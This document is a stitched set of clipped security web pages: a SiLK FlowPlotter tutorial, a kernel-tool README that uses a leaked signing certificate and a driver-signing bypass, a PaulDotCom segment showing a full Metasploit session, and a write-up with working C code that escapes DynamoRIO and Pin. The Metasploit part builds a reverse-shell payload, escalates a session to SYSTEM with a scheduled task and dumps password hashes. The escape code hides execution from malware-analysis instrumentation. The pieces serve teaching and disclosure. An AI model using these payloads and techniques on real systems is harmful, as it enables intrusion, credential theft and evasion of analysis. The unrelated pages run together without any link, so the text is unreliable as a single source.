talk about FlowPlotter in a more official capacity. FlowPlotter is a scripted
approach to generating graphs based on SiLK data by using templates so that it
is modular enough to accept new graphs with relative ease. In short, it
automates everything we just did in the previous example. The only requirement
is that you provide an rwfilter command and send that to flowplotter.sh with a
chart name and it's independent and dependent variables as options. From there
FlowPlotter will make the html page for you, complete with titles and ideal
scaling options. For instance, to generate the previous graph, you would
simply run the following from the FlowPlotter root directory:

> /Flowplotter$ rwfilter --start-date=2014/02/06 --proto=0- --type=all --pass=stdout | ./flowplotter.sh barchart dcc bytes
Here is the current usage page for FlowPlotter:

> rwfilter \[filter\] | flowplotter.sh \[charttype\] \[independent variable\] \[dependent variable\]
> Currently you must run a SiLK rwfilter command and pipe it to flowplotter.sh
> and specify various options as arguments. The following chart types are
> currently functional
> geomap
>   * independent variable = Must specify an rwstats compatible field for
> country type \(scc or dcc\).
>   * dependent variable = Must specify an rwstats compatible value \(Records,
> Packets, Bytes, sIP-Distinct, dIP-Distinct, or Distinct:\)
>

> linechart
>   * independent variable = Must specify a bin-size that the dependent
> variable will be calculated by. For example, if you want "Records per
> Minute", this variable will be 60.
>   * dependent variable = Must specify an rwcount compatible value
> \(Records,Packets,Bytes\).
>

> treemap
>   * independent variable = Must specify an rwstats compatible field.
>   * dependent variable = Must specify an rwstats compatible value \(Records,
> Packets, Bytes, sIP-Distinct, dIP-Distinct, or Distinct:\)
>

> timeline
>   * independent variable = Must specify an rwcut compatible field.
>   * dependent variable = Must specify an rwcut compatible field.
>

> piechart
>   * independent variable = Must specify an rwstats compatible field.
>   * dependent variable = Must specify an rwstats compatible value \(Records,
> Packets, Bytes, sIP-Distinct, dIP-Distinct, or Distinct:\)
>

> barchart
>   * independent variable = Must specify an rwstats compatible field.
>   * dependent variable = Must specify an rwstats compatible value \(Records,
> Packets, Bytes, sIP-Distinct, dIP-Distinct, or Distinct:\)
>

> columnchart
>   * independent variable = Must specify an rwstats compatible field.
>   * dependent variable = Must specify an rwstats compatible value \(Records,
> Packets, Bytes, sIP-Distinct, dIP-Distinct, or Distinct:\)
>

As you can see, FlowPlotter doesn't just support bar charts. It currently
supports numerous Google Charts. The charts below were all generated using the
queries you see accompanying them.

### Geomaps

rwfilter --start-date=2013/12/27 --proto=0- --type=all --pass=stdout | ./flowplotter.sh geomap dcc bytes > geomap.html
<img src='img/Temp2_4511' alt='Screen Shot 2014-02-11 at 5.36.15 PM' />

### Linecharts

rwfilter --start-date=2013/12/27 --proto=0- --type=all --pass=stdout | ./flowplotter.sh linechart 60 bytes > linechart.html
<img src='img/Temp2_4510' alt='Screen Shot 2014-02-11 at 5.47.29 PM' />

### Treemaps

rwfilter --start-date=2013/12/27 --sport=1025- --dport=1025- --not-daddress=192.168.1.0/24 --proto=0- --type=all --pass=stdout | ./flowplotter.sh treemap dip records > treemap.html
<img src='img/Temp2_4512' alt='Screen Shot 2014-02-11 at 5.52.04 PM' />

### Timelines

rwfilter --start-date=2013/12/27 --proto=0- --type=out,outweb --dcc=us,-- --fail=stdout | ./flowplotter.sh timeline sip dip > timeline.html
<img src='img/Temp2_4504' alt='Screen Shot 2014-02-11 at 5.54.16 PM' />

### Pie Charts

rwfilter --start-date=2013/12/27 --sport=1025- --dport=1025- --not-daddress=192.168.1.0/24 --proto=0- --type=all --pass=stdout | ./flowplotter.sh piechart dport bytes > piechart.html
<img src='img/Temp2_4505' alt='Screen Shot 2014-02-11 at 5.55.37 PM' />

### Bar Charts

rwfilter --start-date=2013/12/27 --sport=1025- --dport=1025- --not-daddress=192.168.1.0/24 --proto=0- --type=all --pass=stdout | ./flowplotter.sh barchart dport bytes > barchart.html
<img src='img/Temp2_4507' alt='Screen Shot 2014-02-11 at 6.01.00 PM' />

### Column Charts

rwfilter --start-date=2013/12/27 --sport=1025- --dport=1025- --not-daddress=192.168.1.0/24 --proto=0- --type=all --pass=stdout | ./flowplotter.sh columnchart dip bytes > columnchart.html
<img src='img/Temp2_4508' alt='Screen Shot 2014-02-11 at 6.04.19 PM' />

# **Next Steps**

FlowPlotter currently only supports charts in the Google Visualizations Chart library, but as time goes by, I'd like to add some sources outside of just google, even if they are duplicates of similar google graphs. I have the project on Github and welcome any comments, ideas, and improvements that you might have. It has examples that you can use, but I encourage the use of any kind of rwfilter input you can think of. If you come across some great visualizations that you think are repeatable by others, post the rwfilter | flowplotter command up as a comment and I'll add it to the examples\!
Share This Post

  * Share

# Malware.

**Created:**| _5/11/2012 8:57:57 AM_  
---|---  
**Updated:**| _5/11/2012 8:57:57 AM_  
**Author:**| __  
**Tags:**| __  
  
<img src='img/Temp2_5139.jpg' alt='Malware.' />

# AxtMueller/Windows-Kernel-Explorer

**Created:**| _3/2/2019 6:40:42 PM_  
---|---  
**Updated:**| _3/2/2019 6:40:42 PM_  
**Author:**| _wishi_  
**Tags:**| _windows kernel_  
  

  

# Introduction

Windows Kernel Explorer \(you can simply call it as "WKE"\) is a free but
powerful Windows kernel research tool. It supports from Windows XP to Windows
10, 32-bit and 64-bit. Compare to popular tools \(such as WIN64AST and
PCHunter\), WKE is a highly customizable tool and it can run on the latest
Windows 10 without updating binary files.

### How WKE works on the latest Windows 10

WKE will automatically download required symbol files if no native support for
current system, 90% of the features will work after this step. For some needed
data that doesn't exist in symbol files, WKE will try to get them from the DAT
file \(so, when new Windows 10 releases, I will upload the newest DAT file to
GitHub\). If there is no internet access for WKE, 50% of the features will
still work. Currently, native support is available from Windows XP to Windows
10 RS3, RS4 and RS5 are fully supported by parsing symbol files and DAT file.

### How to customize WKE

You can customize WKE by editing the configuration file. Currently, you can
set the device name and symbolic link name of driver, and altitude of filter.
You can also enable kernel-mode and user-mode characteristics randomization to
avoid being detected by malware. If you rename the EXE file of WKE, then you
need to rename SYS/DAT/INI files together with the same name.

### About digital signature

Due to I don't have a digital certificate, I have to use the leaked digital
certificate from HT SRL to sign drivers of WKE. I use "DSEFIX" as an
alternative solution to bypass DSE, you can try to launch WKE with
"WKE\_dsefix.bat" if WKE loads driver unsuccessfully on your system. Signing
files with the HT SRL digital certificate causes a side effect: almost all
anti-virus softwares consider files with HT SRL digital signature are viruses,
because many hackers use it to sign malwares since 2015. If you don't trust
WKE, you can run it in a test environment, or monitor its network activity on
your router.

### About open source

It is a bit awkward, so I say straightforwardly: I don't plan to share the
source code of this tool, but I might share some source code of test programs
that related to this tool.

# Main Features

  1. Process management \(Module, Thread, Handle, Memory, Window, Windows Hook, etc.\)
  2. File management
  3. Registry management
  4. Kernel-mode callback, filter, timer, NDIS blocks and WFP callout functions management
  5. Kernel-mode hook scanning \(MSR, EAT, IAT, CODE PATCH, SSDT, SSSDT, IDT, IRP, OBJECT\)
  6. User-mode hook scanning \(Kernel Callback Table, EAT, IAT, CODE PATCH\)
  7. Memory editor and symbol parser \(it looks like a simplified version of WINDBG\)
  8. Protect process, hide/protect/redirect file or directory, protect registry and falsify registry data
  9. Path modification for driver, process and process module
  10. Enable/disable some obnoxious Windows components

# Screenshots

In order to optimize the page load speed in low quality network environments,
I only placed one picture on this page. <img src='img/mainmenu.png'
width='898' height='556' alt='image' /> Click this link to view all
screenshots \(click middle button to open the page in a new window\).

# Thanking List

  1. Team of WIN64AST \(I referenced the UI design and many features of this software\)
  2. Team of PCHunter \(I referenced some features of this software\)
  3. Team of ProcessHacker \(I studied the source code of this software, but I didn’t use it in my project\)
  4. Author of DSEFIX \(I use it as an alternative solution to load driver\)

# Cooperation

#### E-MAIL: AxtMueller\#gmx.de \(Replace \# with @\)

Please write E-MAIL in English or German, I only reply to E-MAILs that I am
interested in.

#### Provided services:

  1. Feature customization: Add the features you need to WKE.
  2. Binary customization: Modify obvious characteristics of WKE and remove all of my personal information in WKE.
  3. Implant link: Implant link in WKE on "About" page, all users will see it when main dialog appears.
  4. Specific feature separation: Copy source code of specific feature to a separate project.
  5. Driver static library: It contains most of main features of WKE.
  6. Driver source code: Entire driver source code of WKE.

# Revision History

### Current Version: 20190128

Bug fix: symbol related features in memory editor dialog.  
Bug fix: prompt the status of process and thread in the context menu.  
New feature: disable CreateProcess / CreateThread / LoadImage / Registry /
Process and Thread object callbacks, FS filters.  
New feature: support drag file to input box dialog \(do not need to type input
when you need to fill the file path\).  
New feature: highlight hidden drivers and processes.  
New feature: output all object names to a file.  
New feature: display NDIS handler functions.  
New feature: display process command line.  
New feature: registry value editor dialog.  
New feature: hide process, hide driver.  
New feature: unsigned driver loader.  
New feature: hive file operations.

### Revoked Versions: 00000000

These versions have serious security issues and should not be used anymore.

  

# DynamoRIO: Dr. Memory

**Created:**| _9/25/2009 5:12:20 PM_  
---|---  
**Updated:**| _9/25/2009 5:13:28 PM_  
**Author:**| __  
**Tags:**| _security tools code-review reversing optimisation_  
  
| DynamoRIO  
Dynamic Instrumentation Tool Platform  
  
---  
| Home  
Download  
Source Code  
Documentation  
Tutorial  
Discussion List  
Issue Tracker  
Publications  
History  
Dr. Memory  
Documentation  
  
---  
<img src='img/Temp2_2483.png' width='107' height='108' alt='DynamoRIO' />  
|

# Dr. Memory

Dr. Memory is a memory monitoring tool capable of identifying memory-related
programming errors such as accesses of uninitialized memory, accesses to
unaddressable memory \(including outside of allocated heap units and heap
underflow and overflow\), accesses to freed memory, double frees, memory
leaks, and \(on Windows\) access to un-reserved thread local storage slots.
Dr. Memory operates on unmodified application binaries running on Windows or
Linux or ESXi on commodity IA-32 and AMD64 hardware. Dr. Memory currently
targets 32-bit applications only.

## Download Dr. Memory

Dr. Memory is being released under an LGPL license.

  * Dr. Memory version 1.0.5 installation .exe
  * Dr. Memory version 1.0.5 zip file for portable installation
  * Dr. Memory version 1.0.5 source code

## Documentation

Documentation is included in the release package. A copy is available here for
online browsing.  
---

# Episode153 - PaulDotCom Security Weekly

**Created:**| _8/5/2009 1:03:00 PM_  
---|---  
**Updated:**| _8/5/2009 1:03:07 PM_  
**Author:**| __  
**Tags:**| _security tools pauldotcom Tutorials_  
  

# Tech Segment: Winenum meterpreter script Carlos "Dark0perator" Perez

Carlos will discuss his Windows enumeration \(WinEnum\) script. This script
uses native Windows command line tools to gather information that can later be
leveraged for further attacks. It also allows the ability to export and
download the target's host registry as well as detects if the target machine
is a Virtual Machine. His script is now part of the Metasploit Project.

  

For background purposes, vintage meterpreter intro by John Strand

  
Example session:

[code]

    The main function of the Meterpreter Windows Enumeration script  
    
    
    Generating a Meterpreter Payload Executable from the Metasploit Folder:
    
        ./msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.184 X > meterpreter.exe
    
    Setting msconsole to receive several shells:
    
        root@bt:/pentest/exploits/framework3# ./msfconsole
    
                        ##                          ###           ##    ##
         ##  ##  #### ###### ####  #####   #####    ##    ####        ######
        ####### ##  ##  ##  ##         ## ##  ##    ##   ##  ##   ###   ##
        ####### ######  ##  #####   ####  ##  ##    ##   ##  ##   ##    ##
        ## # ##     ##  ##  ##  ## ##      #####    ##   ##  ##   ##    ##
        ##   ##  #### ###   #####   #####     ##   ####   ####   #### ###
                                              ##
    
    
               =[ msf v3.3-dev
        + -- --=[ 372 exploits - 234 payloads
        + -- --=[ 20 encoders - 7 nops
               =[ 150 aux
    
        msf > ./msfconsole
        msf > use exploit/multi/handler
        msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_tcp
        PAYLOAD => windows/meterpreter/reverse_tcp
        msf exploit(handler) > set LHOST 192.168.1.184
        LHOST => 192.168.1.184
        msf exploit(handler) > set ExitOnSession false
        ExitOnSession => false
        msf exploit(handler) > exploit -j
        [*] Exploit running as background job.
        msf exploit(handler) >
    
    
    Receiving the shells
    
        [*] Handler binding to LHOST 0.0.0.0
        [*] Started reverse handler
        [*] Starting the payload handler...
        [*] Transmitting intermediate stager for over-sized stage...(191 bytes)
        [*] Sending stage (2650 bytes)
        [*] Sleeping before handling stage...
        [*] Uploading DLL (75787 bytes)...
        [*] Upload completed.
        [*] Meterpreter session 1 opened (192.168.1.184:4444 -> 192.168.1.138:60255)
        [*] Transmitting intermediate stager for over-sized stage...(191 bytes)
        [*] Sending stage (2650 bytes)
        [*] Sleeping before handling stage...
        [*] Uploading DLL (75787 bytes)...
        [*] Upload completed.
        [*] Meterpreter session 2 opened (192.168.1.184:4444 -> 192.168.1.138:55808)
    
        msf exploit(handler) > sessions -l
    
        Active sessions
        ===============
    
          Id  Description  Tunnel
          --  -----------  ------
          1   Meterpreter  192.168.1.184:4444 -> 192.168.1.138:60255
          2   Meterpreter  192.168.1.184:4444 -> 192.168.1.138:55808
    
    Moving to first shell and running Winenum with the -h option to show the help message:
    
        msf exploit(handler) > sessions -i 1
        [*] Starting interaction with 1...
    
        meterpreter > sysinfo
        Computer: AWINXP01
        OS      : Windows XP (Build 2600, Service Pack 2).
        meterpreter > run winenum -h
        Windows Local Enumerion Meterpreter Script
        Usage:
    
        -h      This help message.
    
        -m      Migrates the Meterpreter Session from it current process to a new one
    
        -c      Changes Access Time, Modified Time and Created Time of executables
                that where run on the target machine and clear the EventLog
    
        -r      Dumps, compresses and download entire Registry
    
    Running Winenum:
    
        meterpreter > run winenum
        [*] Running Windows Local Enumerion Meterpreter Script
        [*] New session on 192.168.1.138:60255...
        [*] Saving report to /root/.msf3/logs/winenum/192.168.1.138_20090520.0247-06095/192.168.1.138_20090520.0247-06095.txt
        [*] Checking if AWINXP01 is a Virtual Machine ........
        [*] BIOS Check Failed
        [*]     This is a VMWare virtual Machine
        [*] Running Command List ...
        [*]     running command cmd.exe /c set
        [*]     running command arp -a
        [*]     running command ipconfig /all
        [*]     running command ipconfig /displaydns
        [*]     running command route print
        [*]     running command net view
        [*]     running command netstat -nao
        [*]     running command netstat -vb
        [*]     running command netstat -ns
        [*]     running command net accounts
        [*]     running command net accounts /domain
        [*]     running command net session
        [*]     running command net share
        [*]     running command net group
        [*]     running command net user
        [*]     running command net localgroup
        [*]     running command net localgroup administrators
        [*]     running command net group administrators
        [*]     running command net view /domain
        [*]     running command netsh firewall show config
        [*]     running command tasklist /svc
        [*]     running command tasklist /m
        [*]     running command gpresult /SCOPE COMPUTER /Z
        [*]     running command gpresult /SCOPE USER /Z
        [*] Running WMIC Commands ....
        [*]     running command wmic computersystem list brief
        [*]     running command wmic useraccount list
        [*]     running command wmic group list
        [*]     running command wmic service list brief
        [*]     running command wmic volume list brief
        [*]     running command wmic logicaldisk get description,filesystem,name,size
        [*]     running command wmic netlogin get name,lastlogon,badpasswordcount
        [*]     running command wmic netclient list brief
        [*]     running command wmic netuse get name,username,connectiontype,localname
        [*]     running command wmic share get name,path
        [*]     running command wmic nteventlog get path,filename,writeable
        [*]     running command wmic process list brief
        [*]     running command wmic startup list full
        [*]     running command wmic rdtoggle list
        [*]     running command wmic product get name,version
        [*]     running command wmic qfe
        [*] Extracting software list from registry
        [*] Finnished Extraction of software list from registry
        [*] Dumping and Downloading the Registry entries for Configured Wireless Networks
        [*]     Exporting HKLM\Software\Microsoft\WZCSVC\Parameters\Interfaces
        [*]     Compressing key into cab file for faster download
        [*]     Downloading wlan_20090520.0247-06095.cab to -> /root/.msf3/logs/winenum/192.168.1.138_20090520.0247-06095/wlan_20090520.0247-06095.cab
        [*]     Deleting left over files
        [*] Dumping password hashes...
        [*] Hashes Dumped
        [*] Getting Tokens...
        [*] All tokens have been processed
        [*] Done!
        meterpreter >
    
    Showing how to escalate privileges in case a Windows Vista or Windows 2008 box does not let you dump the hashes:
    
        Background session 1? [y/N]
    
        msf exploit(handler) > sessions -i 2
        [*] Starting interaction with 2...
    
        meterpreter > sysinfo
        Computer: WIN2K8
        OS      : Windows 2008 (Build 6001, Service Pack 1).
        meterpreter > use priv
        Loading extension priv...success.
        meterpreter > getuid
        Server username: WIN2K8\Administrator
        meterpreter > hashdump
        [-] priv_passwd_get_sam_hashes: Operation failed: 87
        meterpreter > run scheduleme -h
        Scheduleme Meterpreter Script
        This script provides most common scheduling types used during a pentest.
        It has the functionality to upload a desired executable or script and schedule
        the file uploaded. All scheduled task are as System so Meterpreter process must
        be System or local admin for local schedules and Administrator for remore shcedules
                -h              Help menu.
                -c <opt>        Command to execute at the given time. If options for execution needed use double quotes
                -d              Daily.
                -hr <opt>       Every specified hours 1-23.
                -m <opt>        Every specified amount of minutes 1-1439
                -l              When a user logs on.
                -s              At system startup.
                -i              Run command imediatly and only once.
                -r              Remote Schedule. Executable has to be already on remote target
                -e <opt>        Executable or script to upload to target host, will not work with remote schedule
                -o <opt>        Options for executable when upload method used
                -u              Username of account with administrative privelages.
                -p              Password for account provided.
                -t <opt>        Remote system to schedule job.
        meterpreter > run scheduleme -e ./meterpreter.exe -i
        [*] Uploadingd ./meterpreter.exe....
        [*] ./meterpreter.exe uploaded!
        [*] Scheduling command C:\Users\ADMINI~1\AppData\Local\Temp\svhost43.exe to run now.....
        [*] The scheduled task has been successfully created
        [*] For cleanup run schtasks /delete /tn syscheck80 /F
        meterpreter >
        [*] Transmitting intermediate stager for over-sized stage...(191 bytes)
        [*] Sending stage (2650 bytes)
        [*] Sleeping before handling stage...
        [*] Uploading DLL (75787 bytes)...
        [*] Upload completed.
        [*] Meterpreter session 3 opened (192.168.1.184:4444 -> 192.168.1.138:54783)
    
        Background session 2? [y/N]
        msf exploit(handler) > sessions -i 3
        [*] Starting interaction with 3...
    
        meterpreter > getuid
        Server username: NT AUTHORITY\SYSTEM
        meterpreter > sysinfo
        Computer: WIN2K8
        OS      : Windows 2008 (Build 6001, Service Pack 1).
        meterpreter > use priv
        Loading extension priv...success.
        meterpreter > hashdump
        admin:1000:aad3b435b51404eedad3b435b51404ee:7a118f7a2f2b34d61fa19b840b4f5203:::
        Administrator:500:aad3b435b51104eeaad3b435b51404ee:7a118f7a2f2b34d61fa19b840b4f5203:::
        Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
        meterpreter >     
    
    
[/code]

  
Some other Darkoperator Meterpreter Scripts can be found here:

Three you want to use on every test:

[code]

    Keylogger:
    
    
[/code]

  * http://www.darkoperator.com/meterpreter/keylogrecorder.rb

[code]

    Memory Dump:
    
    
[/code]

  * http://www.darkoperator.com/meterpreter/memdump.rb

[code]

    Sound recorder:
    
    
[/code]

  * http://www.darkoperator.com/meterpreter/soundrecorder.zip

# Using Inline Assembly With gcc

**Created:**| _1/2/2010 7:17:56 PM_  
---|---  
**Updated:**| _1/2/2010 7:18:11 PM_  
**Author:**| __  
**Tags:**| _asm programming_  
  
<img src='img/Temp2_8772' />

# lgeek/dynamorio\_pin\_escape · GitHub

**Created:**| _10/10/2014 11:45:39 AM_  
---|---  
**Updated:**| _10/10/2014 11:45:39 AM_  
**Author:**| __  
**Tags:**| _binary instrumentation vulnerability_  
  

# Escaping DynamoRIO and Pin - or why it's a worse-than-you-think idea to run
untrusted code or to input untrusted data

Before we begin, I want to clarify that both DynamoRIO and Pin are great tools
that I use all the time. Dynamic Binary Modification is a very powerful
technique in general. However, both implementations have a limitation which
can have serious security implications for some uses cases and which, as far
as I can tell, is not documented in the user manuals. I got in touch with
people involved in both projects and they've explained that they consider it
low risk for the typical usage scenario and that fixing it would add
performance overhead. This is a perfectly reasonable position, but I think
this sort of low risk / high impact issue should be very well and visibly
documented.

##  Background

It all started after I've watched this Black Hat talk on detecting execution
under a DBM tool. That's interesting enough, but at the moment it's more or
less a trivial problem. Now, **escaping** from the control of a DBI tool
should be more challening, right? Well, not so much.

##  How DBM works

DynamoRIO docs provide a nice, concise explanation. The gist of it is that the
DBM tool scans and patches all application code before it executes. It does
this by \(bit of a simplification\) decoding the instruction stream and
transforming any position-dependent code into position-independent code. This
patched code is stored in a separate memory location \(called the code cache\)
from the original application code. In the end, all code will run from the
code cache, but for transparency, things like return addresses and access to
the Instruction Pointer \(IP\) register will be translated to make it appear
the application is running from its original location. The basic units are the
basic blocks \(BBs\), instruction sequences which have stricly one entry point
and one exit point \(any jump, branch, call instruction\).

##  The issue

The first thing I've checked when looking for an escape strategy was the
permissions of the code cache mapping. To my surprise \(but for the practical
reasons I've described in the first paragraph\), both DynamoRIO and Pin map
the code cache with read, write and execute permissions. This has at least two
security-related implications:

  * it weakens some anti-exploit techniques of modern systems
  * it allows any applications to easily escape from the control of the DBM tool

Modern systems avoid mapping executable pages as writeable to make it more
difficult to write exploits for vulnerable applications where the attacker can
write to memory locations outside the intended buffers. Those systems can
still be exploited with return oriented programming, however if executable
memory is writeable when running under a DBM system, it might be possible
either to directly overwrite the code cache or to reduce the complexity of
required ROP code. I haven't yet investigated this scenario. The rest of this
article is about the second issue.

##  The escape

This is an implementation for x86-64.

At this point we know that there will be some R/W/E mappings in the address
space, but not much else. In order to write an exploit, he have to solve
several problems:

  * How to find the address of the code cache? ASLR is used
  * How to determine which location in the code cache to use? Writing at the wrong place could either crash the process or never be triggered.
  * How to actually trigger the newly written code? If we simply have the application jump to it, the DBM system will just scan it and maintain control.

The first problem is easy enough to solve on Linux, the kernel exposes all
mappings of the calling process in ` ``/proc/self/maps`. If this feature isn't
available, I suspect it's possible to find some references in stale stack data
or to probe the address space, but I haven't checked.

[code]

    char *buf;
    
    FILE *maps = fopen("/proc/self/maps", "r");
    fread(maps_s, 1, MAX_MAPS_LEN, maps);
    buf = maps_s;
    
[/code]

The last two problems are related. My solution was to first execute some code
containing a known and fairly unique pattern that doesn't get translated, for
example a 32 bit immediate ` ``MOV` with a known an valid address. Since I'm a
bit lazy, I've decided to code the exploit in C and depend on the compiler to
generate the instructions I need, so be warned that a different compiler or
different settings might not produce usable results:

[code]

    char msg[] = "It's a trap!\n";
    
    void trap() {
      printf(msg);
    }
    
[/code]

The msg array needs to be global, so that the compiler places it in the .data
segment and setting the parameter for ` ``printf()` in ` ``trap()` gets
encoded as a ` ``MOV` instruction with the full address as an immediate value
parameter:

[code]

    normalbf 88 0d 60 00   mov    $0x600d88,%edi
    b8 00 00 00 00   mov    $0x0,%eax
    e8 6f fe ff ff   call   400570 <printf@plt>
    
[/code]

After we have called ` ``trap()` once, we can search all mappings for
occurences of msg's address \(which is encoded in the first ` ``MOV`
instruction above\). If we avoid the pages beloging to the application's image
and the stack, any matches are going to be copies of this ` ``MOV` instruction
in the code cache, except any unlucky coincidences.

[code]

    char *start;
    char *end;
    char *p;
    char read_p;
    
    while(sscanf(buf, "%llx-%llx %c\n", &start, &end, &read_p) == 3) {
      /* msg is in the .data segment, which should be linked at a low
         address; start will be on the stack, which is expected to be
         at a high adress. The code cache should be somewhere in between.
      */
      if (read_p == 'r' && start > msg && end < (char *)&start) {
    
        p = start;
        while (p < (uint8_t*)end-6) {
          if (   p[0] == (uint8_t)((msg_p >> 0) & 0xFF)
              && p[1] == (uint8_t)((msg_p >> 8) & 0xFF)
              && p[2] == (uint8_t)((msg_p >> 16) & 0xFF)
              && p[3] == (uint8_t)((msg_p >> 24) & 0xFF))
          {
            printf("Found at %p\n", p);
    
          }
          p++;
        }
      }
    
      buf = memchr(buf, '\n', maps_s + MAX_MAPS_LEN - buf);
      buf++;
    }
    
[/code]

Once the location\(s\) of the ` ``MOV` instruction in the code cache is/are
found, we are free to overwrite it with our shellcode which escapes from the
DBM tool's control by jumping directly to a function in the .text segment:

[code]

    p--; // to start overwriting at the opcode part of the MOV instruction
    p[0] = 0x68; // push &escape
    p[1] = (uint64_t)&escape & 0xFF;
    p[2] = ((uint64_t)&escape >> 8) & 0xFF;
    p[3] = ((uint64_t)&escape >> 16) & 0xFF;
    p[4] = ((uint64_t)&escape >> 24) & 0xFF;
    p[5] = 0xC3; // reti
    
[/code]

` ``escape()` is our function which will execute directly, without being
scanned or patched by the DBM tool:

[code]

    void escape() {
      printf("Escaped!\n");
      exit(0);
    }
    
[/code]

A more complete implementation would remove the signal handlers set up by the
DBM system at this point, but this will do for us.

Finally, we can trigger the newly encoded instruction by calling ` ``trap()`
again.

The complete file is available in the same directory as this document with the
name ` ``escape.c`. If we execute the compiled executable directly, we get
this output:

[code]

    normal$ ./escape 
    It's a trap!
    It's a trap!
    
[/code]

However, when executed under DynamoRIO:

[code]

    normal$ drrun -- ./escape
    It's a trap!
    Found at 0x50c2571d
    Escaped!
    
[/code]

And under Pin:

[code]

    normal$ pin -- ./escape
    It's a trap!
    Found at 0x7f851c6cbe7d
    Escaped!
    
[/code]

Finally we should verify that the code in ` ``escape()` executes directly and
that it doesn't in fact execute from the code cache. One straightforward way
of doing this is by using a system call tracing utility implemented as a Pin
or DynamoRIO tool:

[code]

    normal$ pin -t ./source/tools/ManualExamples/obj-intel64/strace.so -- ./escape
      It's a trap!
      Found at 0x7fe74fbf9e2d
      Escaped!
    
    $ cat ./strace.out
    [...]
    0x7fe74f6a7f12: 5(0x1, 0x7ffffa0b95e0, 0x7ffffa0b95e0, 0x254, 0x400, 0x7fe74f594700)returns: 0x0
    0x7fe74f6b1258: 9(0x0, 0x1000, 0x3, 0x22, 0xffffffff, 0x0)returns: 0x7fe74f47f000
    0x7fe74f6a859e: 1(0x1, 0x7fe74f47f000, 0xd, 0x22, 0xffffffff, 0x0)returns: 0xd
    0x7fe74f6a859e: 1(0x1, 0x7fe74f47f000, 0x18, 0x0, 0x7fe74f72b140, 0x7fe74fbf9e2d)returns: 0x18
    
[/code]

The last two systemcalls are ` ``write` \(1\), one with length 13 \(` ``It's a
trap!\n`\) and the other one with length 24 \(` ``Found at
0x7fe74fbf9e2d\n`\). Pin didn't detect the two systemcalls from ` ``escape()`:
` ``write(stdout, "Escaped\n")` and ` ``sys_exit`, so we have definitely
escaped.

##  There's more

At this point you might be thinking that while this could be a serious issue,
it's really obvious if an application has escaped. That's incorrect. The
following section describes a way to escape from the DBM tool's control,
execute some completely uninstrumented code directly, and then gracefully
return to the code cache and under the control of the DBM system which will
continue to execute normally.

We'll start by modifying our ` ``escape()` function:

[code]

    void escape() {
      printf("Escaped!\n");
      if (fork() == 0) {
        execlp("uname", "", "-s", "-m", NULL);
        exit(EXIT_FAILURE);
      }
    }
    
[/code]

It will now fork and execute ` ``uname -s -m` in the child process. This isn't
something required for this technique to work, it's just an example of
operations that could be hidden from the DBM system. We also modify the main
function to execute ` ``printf("Back to CC\n");` after the second call to `
``trap()`, so we know if control is gracefully returned to the DBM system /
code cache.

Now we are no longer able to overwrite the ` ``printf(msg)` function call
since we want it to execute as expected. Operations on volatile variables are
an easy way to convince the compiler to fill some space with dummy code:

[code]

    void trap() {
      volatile int a;
      a += 0x1;
      a += 0x1;
      printf(msg);
    }
    
[/code]

This compiles to:

[code]

    normal55                push   %rbp
    48 89 e5          mov    %rsp,%rbp
    48 83 ec 10       sub    $0x10,%rsp
    8b 45 fc          mov    -0x4(%rbp),%eax
    83 c0 01          add    $0x1,%eax
    89 45 fc          mov    %eax,-0x4(%rbp)
    8b 45 fc          mov    -0x4(%rbp),%eax
    83 c0 01          add    $0x1,%eax
    89 45 fc          mov    %eax,-0x4(%rbp)
    bf 20 0f 60 00    mov    $0x600f20,%edi
    b8 00 00 00 00    mov    $0x0,%eax
    e8 0a fe ff ff    callq  4005e0 <printf@plt>
    c9                leaveq 
    c3                retq
    
[/code]

We'll overwrite the space between \(not including\) the ` ``SUB` instruction
and ` ``mov $0x600f20,%edi` with our shellcode:

[code]

    normal   push %rdi // this happens to be used both by Pin in the BB and our escape function
       jmp b
    a: push &escape
       ret
    b: call a
       pop %rdi
       [...]    // remaining space filled with nops
    
[/code]

This might look a bit weird, but essentially it just saves the address of `
``pop %rdi` as a return address and then it calls ` ``escape()`.

The complete file is available under the name ` ``sneaky.c`.

Once again, let's run the application directly:

[code]

    normal$ ./sneaky 
    It's a trap!
    It's a trap!
    Back to CC
    
[/code]

And under DynamoRIO:

[code]

    normal$ drrun -- ./sneaky
    It's a trap!
    Found at 0x53bfd733
    Escaped!
    It's a trap!
    Back to CC
    Linux x86_64 // notice the output of uname
    
[/code]

And under Pin:

[code]

    normal$ pin -- ./sneaky
    It's a trap!
    Found at 0x7f9c8489ee43
    Escaped!
    It's a trap!
    Linux x86_64 // output of uname here as well
    Back to CC
    
[/code]

And if we look at the system call trace from Pin:

[code]

    normal[...]
    0x7f9c8434d59e: 1(0x1, 0x7f9c84124000, 0xd, 0x22, 0xffffffff, 0x0)returns: 0xd
    0x7f9c8434d59e: 1(0x1, 0x7f9c84124000, 0x18, 0x0, 0x7f9c843d0140, 0x7f9c8489ee43)returns: 0x18
    0x7f9c8434d59e: 1(0x1, 0x7f9c84124000, 0xd, 0x7f9c9779aa10, 0x0, 0x7f9c84239700)returns: 0xd
    0x7f9c8434d59e: 1(0x1, 0x7f9c84124000, 0xb, 0x7f9c9779aa10, 0x7f9c84239700, 0x7f9c84239700)returns: 0xb
    0x7f9c84329b67: 231(0x0, 0x0, 0x8, 0xffffffffffffff90, 0x3c, 0xe7)#eof
    
[/code]

Notice the write calls for ` ``It's a trap`, ` ``Found at 0x7f9c8489ee43`, the
second ` ``It's a trap`, ` ``Back to CC` and finally the ` ``sys_exit` call.
Note how there's no trace of ` ``write`-ing ` ``Escaped!`, ` ``fork`-ing or `
``execve`, while the systemcalls executing after that, back under Pin's
control, are included and everything else looks normal. Now, let's say you
were instrumenting malware for analysis: it would have just sneaked a bunch of
stuff including an ` ``exec()` past you.

I really hope the manuals of DynamoRIO and Pin get updated with a warning
about this.

##  License

This document is licensed under a Creative Commons Attribution-ShareAlike 4.0
International License. The full code is separately licensed under the BSD
2-Clause License.

# C-band Receiver Station - MyLabWiki

**Created:**| _2/22/2012 9:41:23 PM_  
---|---  
**Updated:**| _2/22/2012 8:42:11 PM_  
**Author:**| __  
**Tags:**| _Gnuradio sdr_  
  

# C-band Receiver Station

This page describes the design of a software defined radio receiver station
for the 5.6-5.9 GHz band, originally created for tracking the UNITEC-1
spacecraft on its interplanetary journey to Venus.

Event logbook is available on the talk page.

UNITEC-1 is the first interplanetary spacecraft built by university students.
